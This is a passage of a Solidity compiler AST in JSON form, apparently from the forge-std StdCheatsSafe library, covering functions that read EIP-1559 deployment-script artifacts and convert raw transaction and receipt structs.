StdCheatsSafe.EIP1559ScriptArtifact"},"typeName":{"id":4378,"nodeType":"UserDefinedTypeName","pathNode":{"id":4377,"name":"EIP1559ScriptArtifact","nameLocations":["12401:21:3"],"nodeType":"IdentifierPath","referencedDeclaration":3718,"src":"12401:21:3"},"referencedDeclaration":3718,"src":"12401:21:3","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_storage_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact"}},"visibility":"internal"}],"id":4380,"nodeType":"VariableDeclarationStatement","src":"12401:37:3"},{"expression":{"id":4386,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4381,"name":"artifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4379,"src":"12448:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_memory_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact memory"}},"id":4383,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"12457:9:3","memberName":"libraries","nodeType":"MemberAccess","referencedDeclaration":3698,"src":"12448:18:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4384,"name":"rawArtifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4369,"src":"12469:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawEIP1559ScriptArtifact_$3741_memory_ptr","typeString":"struct StdCheatsSafe.RawEIP1559ScriptArtifact memory"}},"id":4385,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"12481:9:3","memberName":"libraries","nodeType":"MemberAccess","referencedDeclaration":3721,"src":"12469:21:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"src":"12448:42:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"id":4387,"nodeType":"ExpressionStatement","src":"12448:42:3"},{"expression":{"id":4393,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4388,"name":"artifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4379,"src":"12500:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_memory_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact memory"}},"id":4390,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"12509:4:3","memberName":"path","nodeType":"MemberAccess","referencedDeclaration":3700,"src":"12500:13:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4391,"name":"rawArtifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4369,"src":"12516:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawEIP1559ScriptArtifact_$3741_memory_ptr","typeString":"struct StdCheatsSafe.RawEIP1559ScriptArtifact memory"}},"id":4392,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"12528:4:3","memberName":"path","nodeType":"MemberAccess","referencedDeclaration":3723,"src":"12516:16:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"12500:32:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"id":4394,"nodeType":"ExpressionStatement","src":"12500:32:3"},{"expression":{"id":4400,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4395,"name":"artifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4379,"src":"12542:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_memory_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact memory"}},"id":4397,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"12551:9:3","memberName":"timestamp","nodeType":"MemberAccess","referencedDeclaration":3709,"src":"12542:18:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4398,"name":"rawArtifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4369,"src":"12563:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawEIP1559ScriptArtifact_$3741_memory_ptr","typeString":"struct StdCheatsSafe.RawEIP1559ScriptArtifact memory"}},"id":4399,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"12575:9:3","memberName":"timestamp","nodeType":"MemberAccess","referencedDeclaration":3736,"src":"12563:21:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"12542:42:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4401,"nodeType":"ExpressionStatement","src":"12542:42:3"},{"expression":{"id":4407,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4402,"name":"artifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4379,"src":"12594:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_memory_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact memory"}},"id":4404,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"12603:7:3","memberName":"pending","nodeType":"MemberAccess","referencedDeclaration":3703,"src":"12594:16:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4405,"name":"rawArtifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4369,"src":"12613:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawEIP1559ScriptArtifact_$3741_memory_ptr","typeString":"struct StdCheatsSafe.RawEIP1559ScriptArtifact memory"}},"id":4406,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"12625:7:3","memberName":"pending","nodeType":"MemberAccess","referencedDeclaration":3726,"src":"12613:19:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"src":"12594:38:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"id":4408,"nodeType":"ExpressionStatement","src":"12594:38:3"},{"expression":{"id":4414,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4409,"name":"artifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4379,"src":"12642:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_memory_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact memory"}},"id":4411,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"12651:9:3","memberName":"txReturns","nodeType":"MemberAccess","referencedDeclaration":3717,"src":"12642:18:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_TxReturn_$3788_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.TxReturn memory[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4412,"name":"rawArtifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4369,"src":"12663:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawEIP1559ScriptArtifact_$3741_memory_ptr","typeString":"struct StdCheatsSafe.RawEIP1559ScriptArtifact memory"}},"id":4413,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"12675:9:3","memberName":"txReturns","nodeType":"MemberAccess","referencedDeclaration":3734,"src":"12663:21:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_TxReturn_$3788_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.TxReturn memory[] memory"}},"src":"12642:42:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_TxReturn_$3788_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.TxReturn memory[] memory"}},"id":4415,"nodeType":"ExpressionStatement","src":"12642:42:3"},{"expression":{"id":4423,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4416,"name":"artifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4379,"src":"12694:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_memory_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact memory"}},"id":4418,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"12703:8:3","memberName":"receipts","nodeType":"MemberAccess","referencedDeclaration":3707,"src":"12694:17:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4420,"name":"rawArtifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4369,"src":"12737:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawEIP1559ScriptArtifact_$3741_memory_ptr","typeString":"struct StdCheatsSafe.RawEIP1559ScriptArtifact memory"}},"id":4421,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"12749:8:3","memberName":"receipts","nodeType":"MemberAccess","referencedDeclaration":3730,"src":"12737:20:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory[] memory"}],"id":4419,"name":"rawToConvertedReceipts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4869,"src":"12714:22:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr_$returns$_t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr_$","typeString":"function (struct StdCheatsSafe.RawReceipt memory[] memory) pure returns (struct StdCheatsSafe.Receipt memory[] memory)"}},"id":4422,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12714:44:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory[] memory"}},"src":"12694:64:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory[] memory"}},"id":4424,"nodeType":"ExpressionStatement","src":"12694:64:3"},{"expression":{"id":4432,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4425,"name":"artifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4379,"src":"12768:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_memory_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact memory"}},"id":4427,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"12777:12:3","memberName":"transactions","nodeType":"MemberAccess","referencedDeclaration":3713,"src":"12768:21:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4429,"name":"rawArtifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4369,"src":"12817:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawEIP1559ScriptArtifact_$3741_memory_ptr","typeString":"struct StdCheatsSafe.RawEIP1559ScriptArtifact memory"}},"id":4430,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"12829:12:3","memberName":"transactions","nodeType":"MemberAccess","referencedDeclaration":3740,"src":"12817:24:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory[] memory"}],"id":4428,"name":"rawToConvertedEIPTx1559s","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4486,"src":"12792:24:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr_$returns$_t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr_$","typeString":"function (struct StdCheatsSafe.RawTx1559 memory[] memory) pure returns (struct StdCheatsSafe.Tx1559 memory[] memory)"}},"id":4431,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12792:50:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory[] memory"}},"src":"12768:74:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory[] memory"}},"id":4433,"nodeType":"ExpressionStatement","src":"12768:74:3"},{"expression":{"id":4434,"name":"artifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4379,"src":"12859:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_memory_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact memory"}},"functionReturnParameters":4352,"id":4435,"nodeType":"Return","src":"12852:15:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readEIP1559ScriptArtifact","nameLocation":"12040:25:3","parameters":{"id":4348,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4347,"mutability":"mutable","name":"path","nameLocation":"12080:4:3","nodeType":"VariableDeclaration","scope":4437,"src":"12066:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4346,"name":"string","nodeType":"ElementaryTypeName","src":"12066:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"12065:20:3"},"returnParameters":{"id":4352,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4351,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":4437,"src":"12149:28:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_memory_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact"},"typeName":{"id":4350,"nodeType":"UserDefinedTypeName","pathNode":{"id":4349,"name":"EIP1559ScriptArtifact","nameLocations":["12149:21:3"],"nodeType":"IdentifierPath","referencedDeclaration":3718,"src":"12149:21:3"},"referencedDeclaration":3718,"src":"12149:21:3","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_storage_ptr","typeString":"struct StdCheatsSafe.EIP1559ScriptArtifact"}},"visibility":"internal"}],"src":"12148:30:3"},"scope":5537,"stateMutability":"view","virtual":true,"visibility":"internal"},{"id":4486,"nodeType":"FunctionDefinition","src":"12880:312:3","nodes":[],"body":{"id":4485,"nodeType":"Block","src":"12989:203:3","nodes":[],"statements":[{"assignments":[4452],"declarations":[{"constant":false,"id":4452,"mutability":"mutable","name":"txs","nameLocation":"13015:3:3","nodeType":"VariableDeclaration","scope":4485,"src":"12999:19:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559[]"},"typeName":{"baseType":{"id":4450,"nodeType":"UserDefinedTypeName","pathNode":{"id":4449,"name":"Tx1559","nameLocations":["12999:6:3"],"nodeType":"IdentifierPath","referencedDeclaration":3562,"src":"12999:6:3"},"referencedDeclaration":3562,"src":"12999:6:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559"}},"id":4451,"nodeType":"ArrayTypeName","src":"12999:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559[]"}},"visibility":"internal"}],"id":4460,"initialValue":{"arguments":[{"expression":{"id":4457,"name":"rawTxs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4441,"src":"13034:6:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory[] memory"}},"id":4458,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13041:6:3","memberName":"length","nodeType":"MemberAccess","src":"13034:13:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":4456,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"NewExpression","src":"13021:12:3","typeDescriptions":{"typeIdentifier":"t_function_objectcreation_pure$_t_uint256_$returns$_t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr_$","typeString":"function (uint256) pure returns (struct StdCheatsSafe.Tx1559 memory[] memory)"},"typeName":{"baseType":{"id":4454,"nodeType":"UserDefinedTypeName","pathNode":{"id":4453,"name":"Tx1559","nameLocations":["13025:6:3"],"nodeType":"IdentifierPath","referencedDeclaration":3562,"src":"13025:6:3"},"referencedDeclaration":3562,"src":"13025:6:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559"}},"id":4455,"nodeType":"ArrayTypeName","src":"13025:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559[]"}}},"id":4459,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13021:27:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory[] memory"}},"nodeType":"VariableDeclarationStatement","src":"12999:49:3"},{"body":{"id":4481,"nodeType":"Block","src":"13098:68:3","statements":[{"expression":{"id":4479,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":4471,"name":"txs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4452,"src":"13112:3:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory[] memory"}},"id":4473,"indexExpression":{"id":4472,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4462,"src":"13116:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"13112:6:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"baseExpression":{"id":4475,"name":"rawTxs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4441,"src":"13145:6:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory[] memory"}},"id":4477,"indexExpression":{"id":4476,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4462,"src":"13152:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"13145:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory"}],"id":4474,"name":"rawToConvertedEIPTx1559","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4546,"src":"13121:23:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_struct$_RawTx1559_$3526_memory_ptr_$returns$_t_struct$_Tx1559_$3562_memory_ptr_$","typeString":"function (struct StdCheatsSafe.RawTx1559 memory) pure returns (struct StdCheatsSafe.Tx1559 memory)"}},"id":4478,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13121:34:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory"}},"src":"13112:43:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory"}},"id":4480,"nodeType":"ExpressionStatement","src":"13112:43:3"}]},"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":4467,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4464,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4462,"src":"13074:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"expression":{"id":4465,"name":"rawTxs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4441,"src":"13078:6:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory[] memory"}},"id":4466,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13085:6:3","memberName":"length","nodeType":"MemberAccess","src":"13078:13:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"13074:17:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":4482,"initializationExpression":{"assignments":[4462],"declarations":[{"constant":false,"id":4462,"mutability":"mutable","name":"i","nameLocation":"13071:1:3","nodeType":"VariableDeclaration","scope":4482,"src":"13063:9:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":4461,"name":"uint256","nodeType":"ElementaryTypeName","src":"13063:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":4463,"nodeType":"VariableDeclarationStatement","src":"13063:9:3"},"isSimpleCounterLoop":true,"loopExpression":{"expression":{"id":4469,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"13093:3:3","subExpression":{"id":4468,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4462,"src":"13093:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4470,"nodeType":"ExpressionStatement","src":"13093:3:3"},"nodeType":"ForStatement","src":"13058:108:3"},{"expression":{"id":4483,"name":"txs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4452,"src":"13182:3:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory[] memory"}},"functionReturnParameters":4447,"id":4484,"nodeType":"Return","src":"13175:10:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"rawToConvertedEIPTx1559s","nameLocation":"12889:24:3","parameters":{"id":4442,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4441,"mutability":"mutable","name":"rawTxs","nameLocation":"12933:6:3","nodeType":"VariableDeclaration","scope":4486,"src":"12914:25:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559[]"},"typeName":{"baseType":{"id":4439,"nodeType":"UserDefinedTypeName","pathNode":{"id":4438,"name":"RawTx1559","nameLocations":["12914:9:3"],"nodeType":"IdentifierPath","referencedDeclaration":3526,"src":"12914:9:3"},"referencedDeclaration":3526,"src":"12914:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559"}},"id":4440,"nodeType":"ArrayTypeName","src":"12914:11:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559[]"}},"visibility":"internal"}],"src":"12913:27:3"},"returnParameters":{"id":4447,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4446,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":4486,"src":"12972:15:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559[]"},"typeName":{"baseType":{"id":4444,"nodeType":"UserDefinedTypeName","pathNode":{"id":4443,"name":"Tx1559","nameLocations":["12972:6:3"],"nodeType":"IdentifierPath","referencedDeclaration":3562,"src":"12972:6:3"},"referencedDeclaration":3562,"src":"12972:6:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559"}},"id":4445,"nodeType":"ArrayTypeName","src":"12972:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559[]"}},"visibility":"internal"}],"src":"12971:17:3"},"scope":5537,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":4546,"nodeType":"FunctionDefinition","src":"13198:488:3","nodes":[],"body":{"id":4545,"nodeType":"Block","src":"13301:385:3","nodes":[],"statements":[{"assignments":[4497],"declarations":[{"constant":false,"id":4497,"mutability":"mutable","name":"transaction","nameLocation":"13325:11:3","nodeType":"VariableDeclaration","scope":4545,"src":"13311:25:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559"},"typeName":{"id":4496,"nodeType":"UserDefinedTypeName","pathNode":{"id":4495,"name":"Tx1559","nameLocations":["13311:6:3"],"nodeType":"IdentifierPath","referencedDeclaration":3562,"src":"13311:6:3"},"referencedDeclaration":3562,"src":"13311:6:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559"}},"visibility":"internal"}],"id":4498,"nodeType":"VariableDeclarationStatement","src":"13311:25:3"},{"expression":{"id":4504,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4499,"name":"transaction","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4497,"src":"13346:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory"}},"id":4501,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"13358:9:3","memberName":"arguments","nodeType":"MemberAccess","referencedDeclaration":3548,"src":"13346:21:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4502,"name":"rawTx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4489,"src":"13370:5:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 